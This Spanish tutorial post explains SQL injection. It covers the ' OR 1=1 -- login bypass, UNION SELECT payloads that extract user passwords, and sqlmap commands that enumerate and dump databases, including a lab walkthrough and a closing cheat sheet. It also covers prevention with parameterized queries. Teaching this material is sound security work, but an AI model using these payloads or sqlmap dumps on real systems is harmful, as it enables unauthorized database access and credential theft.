SQL Injection (SQLi) es una de las vulnerabilidades web más críticas y longevas del mundo del hacking. Aparece consistentemente en el OWASP Top 10 y sigue siendo uno de los vectores de ataque más explotados en aplicaciones reales. En este post verás cómo funciona desde la teoría hasta la explotación automatizada con SQLMap.
¿Qué es SQL Injection?
Cuando una aplicación web construye consultas SQL concatenando directamente la entrada del usuario, sin sanitizarla, un atacante puede inyectar código SQL propio dentro de esa consulta y alterar su lógica.
Analogía: Imagina un sitio web como un camarero que toma tu pedido (entrada del usuario) y lo lleva a la cocina (base de datos). SQLi es como susurrarle instrucciones extra al camarero: "y de paso, tráeme también todas las contraseñas del gerente".
El impacto puede ir desde leer datos sensibles hasta tomar control total de la base de datos.
Cómo funciona: evasión de autenticación
El ejemplo más clásico es el bypass de login. Una aplicación vulnerable podría ejecutar esta consulta:
SELECT * FROM users WHERE username = 'INPUT' AND password = 'INPUT';Si introduces como contraseña ' OR 1=1 --, la consulta resultante es:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 --';Dos cosas ocurren:
OR 1=1— siempre es verdadero, por lo que la condición entera se cumple.--— comenta el resto de la consulta, ignorando la verificación real de contraseña.
Resultado: la base de datos devuelve el registro y el atacante entra sin conocer la contraseña real.
Tipos de SQL Injection
| Tipo | Descripción |
|---|---|
| In-Band (clásico) | La respuesta llega en el mismo canal: la web muestra directamente los datos extraídos. |
| Error-Based | Se fuerzan errores SQL para que el motor revele información en el mensaje de error. |
| Union-Based | Se usa UNION SELECT para añadir una segunda consulta y extraer datos de otras tablas. |
| Blind Boolean | No hay salida visible, pero el comportamiento de la app cambia según si la condición es verdadera o falsa. |
| Blind Time-Based | Se mide el tiempo de respuesta con funciones como SLEEP() para inferir datos sin salida visible. |
UNION: el operador clave
UNION permite combinar los resultados de dos consultas SELECT. Para que funcione en un ataque, ambas consultas deben devolver el mismo número de columnas y tipos compatibles.
-- Primero identificamos cuántas columnas tiene la consulta original
SELECT * FROM products WHERE id = 1 UNION SELECT NULL, NULL, NULL --
-- Luego extraemos datos de otra tabla
SELECT * FROM products WHERE id = 1 UNION SELECT username, password, NULL FROM users --SQLMap: automatización del ataque
Detectar y explotar SQLi manualmente es tedioso. SQLMap automatiza todo el proceso: detecta el tipo de inyección, enumera la base de datos y extrae los datos.
Sintaxis básica
sqlmap -u "http://objetivo.com/pagina?id=1"El parámetro -u indica la URL vulnerable. SQLMap probará automáticamente distintas técnicas de inyección sobre el parámetro id.
Flujo de enumeración paso a paso
1. Listar todas las bases de datos disponibles
sqlmap -u "http://objetivo.com/pagina?id=1" --dbs2. Listar tablas de una base de datos concreta
sqlmap -u "http://objetivo.com/pagina?id=1" -D nombre_db --tables3. Listar columnas de una tabla
sqlmap -u "http://objetivo.com/pagina?id=1" -D nombre_db -T nombre_tabla --columns4. Extraer (dump) los datos de una tabla
sqlmap -u "http://objetivo.com/pagina?id=1" -D nombre_db -T nombre_tabla --dumpFlags adicionales útiles
| Flag | Función |
|---|---|
--dump-all | Extrae absolutamente todo (usar con precaución) |
--wizard | Modo asistente interactivo para principiantes |
--level=5 --risk=3 | Aumenta la agresividad de los tests |
--batch | Responde automáticamente a todas las preguntas (modo no interactivo) |
--forms | Detecta y prueba automáticamente formularios HTML en la página |
-p <parámetro> | Especifica manualmente el parámetro a inyectar |
--cookie="PHPSESSID=..." | Incluye cookies de sesión (para páginas que requieren login) |
Ejercicio práctico: login vulnerable
El escenario: una página de login en http://MAQUINA/ai/includes/user_login?email=test&password=test.
Paso 1 — Identificar la superficie de ataque
Los parámetros email y password en la URL son candidatos directos. Se pueden capturar también con Burp Suite si el formulario usa POST.
Paso 2 — Enumerar bases de datos
sqlmap -u "http://MAQUINA/ai/includes/user_login?email=test&password=test" --dbsResultado: se encuentran 6 bases de datos (ai, information_schema, mysql, performance_schema, phpmyadmin, test).
Paso 3 — Enumerar tablas en ai
sqlmap -u "http://MAQUINA/ai/includes/user_login?email=test&password=test" -D ai --tablesResultado: tabla user.
Paso 4 — Extraer los datos
sqlmap -u "http://MAQUINA/ai/includes/user_login?email=test&password=test" -D ai -T user --dumpSQLMap extrae las columnas id, email y password con todos sus registros. Credenciales obtenidas.
Prevención
SQL Injection se previene con una sola regla: nunca concatenar entrada del usuario directamente en una consulta SQL.
- Prepared Statements / Parameterized Queries — el método correcto. La consulta y los datos viajan separados; el motor de base de datos los trata de forma independiente y ningún dato puede ser interpretado como código SQL.
- ORM (Object-Relational Mapper) — frameworks como SQLAlchemy, Hibernate o ActiveRecord gestionan las consultas de forma segura por defecto.
- Validación de entrada — filtrar y validar el tipo y formato esperado de cada campo, aunque nunca debe ser la única medida.
- Principio de mínimo privilegio — el usuario de base de datos de la aplicación solo debería tener los permisos estrictamente necesarios (SELECT en producción, jamás DROP).
Cheatsheet rápida
# Detección básica
sqlmap -u "http://objetivo.com/page?id=1"
# Enumerar bases de datos
sqlmap -u "http://objetivo.com/page?id=1" --dbs
# Enumerar tablas
sqlmap -u "http://objetivo.com/page?id=1" -D mydb --tables
# Dump completo de una tabla
sqlmap -u "http://objetivo.com/page?id=1" -D mydb -T users --dump
# Con sesión autenticada
sqlmap -u "http://objetivo.com/page?id=1" --cookie="session=abc123" --dbs
# Modo no interactivo, máxima agresividad
sqlmap -u "http://objetivo.com/page?id=1" --dbs --batch --level=5 --risk=3